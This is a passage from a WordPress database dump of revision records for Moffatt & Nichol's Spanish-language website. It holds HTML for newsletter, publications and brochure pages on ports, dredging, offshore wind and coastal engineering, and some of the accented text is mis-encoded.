Proteja, Innove I&amp;R prolonga y renueva</strong></p><p>Los ingenieros-buzos tienen como objetivo la prolongaciÃ³n de la vida de servicio; la innovaciÃ³n del diseÃ±o infunde</p>\r\n</div>\r\n<p> <br />\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 7, nÃºmero 1</em>\r\n<strong class=\"green-new\">Sobre rieles</strong></p><br />\r\n<p>El diseÃ±o, aÃºn mÃ¡s innovador y rÃ¡pido, mejora, expande y moderniza los corredores de transporte, a medida que avanzamos,</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Boletín de noticias','','inherit','open','open','','75-revision-9','','','2012-06-15 09:45:55','2012-06-15 09:45:55','',75,'http://moffattnichol.com/spanish/75-revision-9/',0,'revision','',0),(2524,1,'2012-06-15 10:01:29','2012-06-15 10:01:29','<div class=\"content_faq\">\r\n<div class=\"colletral-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/publications.jpg\" alt=\"\" /></div>\r\n<div class=\"colletral-left\">\r\n<h3>publicaciones</h3> Creative People, Practical Solutions.™ A través de nuestra diversa gama de mercados, Moffatt &amp; Nichol está comprometido con el éxito de nuestros clientes. El variado grupo de publicaciones de la firma proporciona una mirada al interior del mundo de Moffatt &amp; Nichol.\r\n<span class=\"more_right\"><a title=\"Folletos\" href=\"http://moffattnichol.com/spanish/publications/brochures-north-america/\">Folletos</a> | <a title=\"Capacidades &amp; experiencia profesional\" href=\"http://moffattnichol.com/spanish/publications/capabilities-expertise-north-america/\">Capacidades &amp; experiencia profesional</a> | <a title=\"Presentaciones\" href=\"http://moffattnichol.com/spanish/publications/presentations/\">Presentaciones</a></span>\r\n\r\n</div>\r\n<div class=\"content-speakers\">\r\n<div class=\"calender-left\">\r\n<h3>folletos</h3> Si desea más información sobre nuestros mercados, examine nuestra colección de folletos para conocer más sobre nuestras áreas de especialidad.\r\n\r\n<p class=\"moreheadlines-newone\"><a href=\"http://moffattnichol.com/spanish/publications/brochures-north-america/\" title=\"Ver nuestros folletos\">Ver nuestros folletos</a></p>\r\n\r\n</div>\r\n<div class=\"calender-right\">\r\n<h3>capacidades y experiencia profesional</h3> Si desea información más detallada sobre los servicios especializados de Moffatt &amp; Nichol, nuestra biblioteca de calificaciones le proporciona una mirada de cerca a nuestro trabajo.\r\n<p class=\"moreheadlines-newone\"><a title=\"Ver nuestras calificaciones\" href=\"http://moffattnichol.com/spanish/publications/capabilities-expertise-north-america/\">Ver nuestras capacidades y experiencia profesional</a></p>\r\n\r\n</div>\r\n<div class=\"calender-left\">\r\n<h3>informes técnicos</h3> Si desea publicaciones novedosas y actualizadas sobre la tecnología y especialidades de Moffatt &amp; Nichol, nuestros informes técnicos le ofrecen un enfoque especializado de algunas novedades en el campo.\r\n<p class=\"moreheadlines-newone\"><a title=\"Folletos\" href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\">Ver nuestro informes técnicos</a></p>\r\n\r\n</div>\r\n<div class=\"calender-right\">\r\n<h3>presentaciones</h3> Los oradores de Moffatt &amp; Nichol con frecuencia asisten a conferencias y a disertaciones. Puede encontrar nuestra presentación más reciente aquí.\r\n<p class=\"moreheadlines-newone\"><a title=\"Ver nuestras presentaciones\" href=\"http://moffattnichol.com/spanish/publications/presentations/\">Ver nuestras presentaciones</a></p>\r\n\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Publicaciones','','inherit','open','open','','78-autosave','','','2012-06-15 10:01:29','2012-06-15 10:01:29','',78,'http://moffattnichol.com/spanish/78-autosave/',0,'revision','',0),(2525,1,'2011-10-18 11:42:42','2011-10-18 11:42:42','<div class=\"content_faq\">\n<div class=\"colletral-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/publications.jpg\" alt=\"\" /></div>\n<div class=\"colletral-left\">\n<h3>publicaciones</h3> Creative People, Practical Solutions.â„¢ A travÃ©s de nuestra diversa gama de mercados, Moffatt &amp; Nichol estÃ¡ comprometido con el Ã©xito de nuestros clientes. El variado grupo de publicaciones de la firma proporciona una mirada al interior del mundo de Moffatt &amp; Nichol.\n<span class=\"more_right\"><a title=\"Folletos\" href=\"http://moffattnichol.com/spanish/publications/brochures-north-america/\">Folletos</a> | <a title=\"Capacidades &amp; experiencia profesional\" href=\"http://moffattnichol.com/spanish/publications/capabilities-expertise-north-america/\">Capacidades &amp; experiencia profesional</a> | <a title=\"Presentaciones\" href=\"http://moffattnichol.com/spanish/publications/presentations/\">Presentaciones</a></span>\n\n</div>\n<div class=\"content-speakers\">\n<div class=\"calender-left\">\n<h3>folletos</h3> Si desea mÃ¡s informaciÃ³n sobre nuestros mercados, examine nuestra colecciÃ³n de folletos para conocer mÃ¡s sobre nuestras Ã¡reas de especialidad.\n\n<p class=\"moreheadlines-newone\"><a href=\"http://moffattnichol.com/spanish/publications/brochures-north-america/\" title=\"Ver nuestros folletos\">Ver nuestros folletos</a></p>\n\n</div>\n<div class=\"calender-right\">\n<h3>capacidades y experiencia profesional</h3> Si desea informaciÃ³n mÃ¡s detallada sobre los servicios especializados de Moffatt &amp; Nichol, nuestra biblioteca de calificaciones le proporciona una mirada de cerca a nuestro trabajo.\n<p class=\"moreheadlines-newone\"><a title=\"Ver nuestras calificaciones\" href=\"http://moffattnichol.com/spanish/publications/capabilities-expertise-north-america/\">Ver nuestras capacidades y experiencia profesional</a></p>\n\n</div>\n<div class=\"calender-left\">\n<h3>informes tÃ©cnicos</h3> Si desea publicaciones novedosas y actualizadas sobre la tecnologÃa y especialidades de Moffatt &amp; Nichol, nuestros informes tÃ©cnicos le ofrecen un enfoque especializado de algunas novedades en el campo.\n<p class=\"moreheadlines-newone\"><a title=\"Folletos\" href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\">Ver nuestro informes tÃ©cnicos</a></p>\n\n</div>\n<div class=\"calender-right\">\n<h3>presentaciones</h3> Los oradores de Moffatt &amp; Nichol con frecuencia asisten a conferencias y a disertaciones. Puede encontrar nuestra presentaciÃ³n mÃ¡s reciente aquÃ.\n<p class=\"moreheadlines-newone\"><a title=\"Ver nuestras presentaciones\" href=\"http://moffattnichol.com/spanish/publications/presentations/\">Ver nuestras presentaciones</a></p>\n\n</div>\n</div>\n</div>\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Publicaciones','','inherit','open','open','','78-revision','','','2011-10-18 11:42:42','2011-10-18 11:42:42','',78,'http://moffattnichol.com/spanish/78-revision/',0,'revision','',0),(2526,1,'2012-06-15 10:34:37','2012-06-15 10:34:37','<div class=\"content_faq\">\r\n\r\n<div class=\"brochure-wrapper-new\">\r\n<h3>folletos- norteamérica</h3><br />\r\n<div class=\"brochure-one-leftpart\">\r\n<div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n<div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\nMoffatt & Nichol es un importante consultor de infraestructura a nivel global con base en Estados Unidos, que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.<br />\r\n<div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-of-services/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1US.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n</div>\r\n<span class=\"moreheadlines-newone fr\"></span></div> \r\n<div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\nComo una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evolución del puerto moderno. La firma tiene una reputación internacional por proporcionar soluciones innovadoras a la industria portuaria y marítima.<br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-and-harbors-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>         \r\n</div>\r\n\r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÓN DE GRANELES</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Moffatt & Nichol, una de las principales firmas de planeamiento e ingeniería marítimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulación de materiales a granel.<br /><br /><br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n              </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n              <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-4.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">COMERCIAL</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras inigualables habilidades <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/commercial-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>\r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-5.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">AUTOMATIZACIÓN PORTUARIA</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Con décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marítimas de todo el mundo, Moffatt & Nichol es reconocido como un líder e innovador en el planeamiento y diseño de puertos, terminales marítimas,<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n              </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n              <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-6.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SEGURIDAD PORTUARIA</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Con más de 60 años de experiencia, Moffatt & Nichol es un líder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marítima. De acuerdo con Seguridad Nacional  \r\n<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/port-security-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1SECURITY.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n                  \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              El prestigio de Moffatt & Nichol de excelencia en ambientes de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos. Hoy, la firma ofrece a sus clientes un personal profesional y experto de ingenieros, planificadores, y <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n              <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Moffatt & Nichol, líder en ingeniería costera, está a la vanguardia de los servicios especializados de ingeniería y gestión de la construcción para proyectos de dragado en mar abierto, puertos, humedales costeros, bocas de entrada y vías navegables interiores.<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              Moffatt & Nichol se ha especializado en el planeamiento y diseño de grandes proyectos de obras civiles, que incluyen instalaciones ferroviarias para clientes en Norteamérica, Europa,<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-6.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES FLUVIALES Y MANIPULACIÓN DE GRANELES</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Los sistemas fluviales de Estados Unidos conectan el centro del país con el mercado internacional. Como una de las mayores firmas especializadas en el planeamiento <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/river-terminals-bulk-handling-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RIVER%20TERMINALS%20AND%20BULK%20HANDLING%20FOR%20PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-4.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">AUMENTO DEL NIVEL DEL MAR  </span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              Este documento presenta una discusión sobre el estado de la ciencia en relación con el Aumento del Nivel del Mar (SLR, por sus siglas en inglés), la base lógica y la necesidad de tratarlo, así como una metodología para determinar los impactos del SLR en el frente costero<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SLR3External3White3Paper37.5.113low.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Los frentes costeros de hoy son catalizadores de la actividad económica. La especialidad de frentes costeros y puertos deportivos de Moffatt & Nichol se estableció en la década de 1960, a medida que la navegación de recreo aumentaba <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONT.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>\r\n       \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              Como una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en<br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DISEÑO DE PLATAFORMAS DE SUBESTACIONES ELÉCTRICAS COSTA AFUERA</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              La experiencia profesional en ingeniería marítima/de costa afuera y la comprensión de las necesidades de los parques eólicos costa afuera de Moffatt & Nichol proporciona <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-electrical-substation-platform-design-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Electrical_Substation_Platform_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>\r\n\r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-3.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">GESTIÓN DE PROGRAMAS DE PARQUES EÓLICOS COSTA AFUERA </span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              El desarrollo eólico costa afuera crea muchos desafíos para los desarrolladores. La industria y las regulaciones están en cambio constantemente. Las percepciones <br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-program-management-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Program_Management_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-4.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS DE ACCESO A PARQUES EÓLICOS COSTA AFUERA</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Moffatt & Nichol es la firma principal de planeamiento y diseño para el desarrollo de puertos y terminales marítimas en Norteamérica y es <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-staging-ports-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Staging_Ports_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-5.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DISEÑO DE LA SUBESTRUCTURA DE<br /> GENERADOR DE TURBINA EÓLICA (WTG) COSTA AFUERA</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              Moffatt & Nichol aporta las capacidades y experiencia para diseñar subestructuras optimizadas costa afuera para apoyar el desarrollo de parques eólicos costa afuera, incluyendo generadores de turbina eólica <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-wtg-substructure-design-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_WTG_Substructure_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-6.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS CONSULTIVOS <br />COMERCIALES DE PARQUES EÓLICOS </span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-farm-commercial-advisory-services-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Farm_Commercial_Advisory_Services_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL DE ENERGÍA EÓLICA</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              Moffatt & Nichol está posicionado en forma singular para ayudar a nuestros clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestro <br /><br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-overview-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Power_Overview_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-1.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Inspección y<br /> rehabilitación</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Moffatt & Nichol, expertos con reconocimiento internacional en ingeniería y diseño estructural de frentes costeros, proporciona a sus clientes servicios de ingeniería orientados hacia la prolongación de la vida de servicio<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION%20REHAB.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>        \r\n                            \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','boletín de noticias','','inherit','open','open','','310-autosave','','','2012-06-15 10:34:37','2012-06-15 10:34:37','',310,'http://moffattnichol.com/spanish/310-autosave/',0,'revision','',0),(2527,1,'2011-10-24 09:40:20','2011-10-24 09:40:20','<div class=\"content_faq\">\n\n<div class=\"brochure-wrapper-new\">\n<h3>folletos- norteamÃ©rica</h3><br />\n<div class=\"brochure-one-leftpart\">\n<div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\n<div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÃ“N GENERAL</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\nMoffatt & Nichol es un importante consultor de infraestructura a nivel global con base en Estados Unidos, que se especializa en el planeamiento y diseÃ±o de las instalaciones que dan forma a nuestras lÃneas costeras, puertos y rÃos, asÃ como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.<br />\n<div 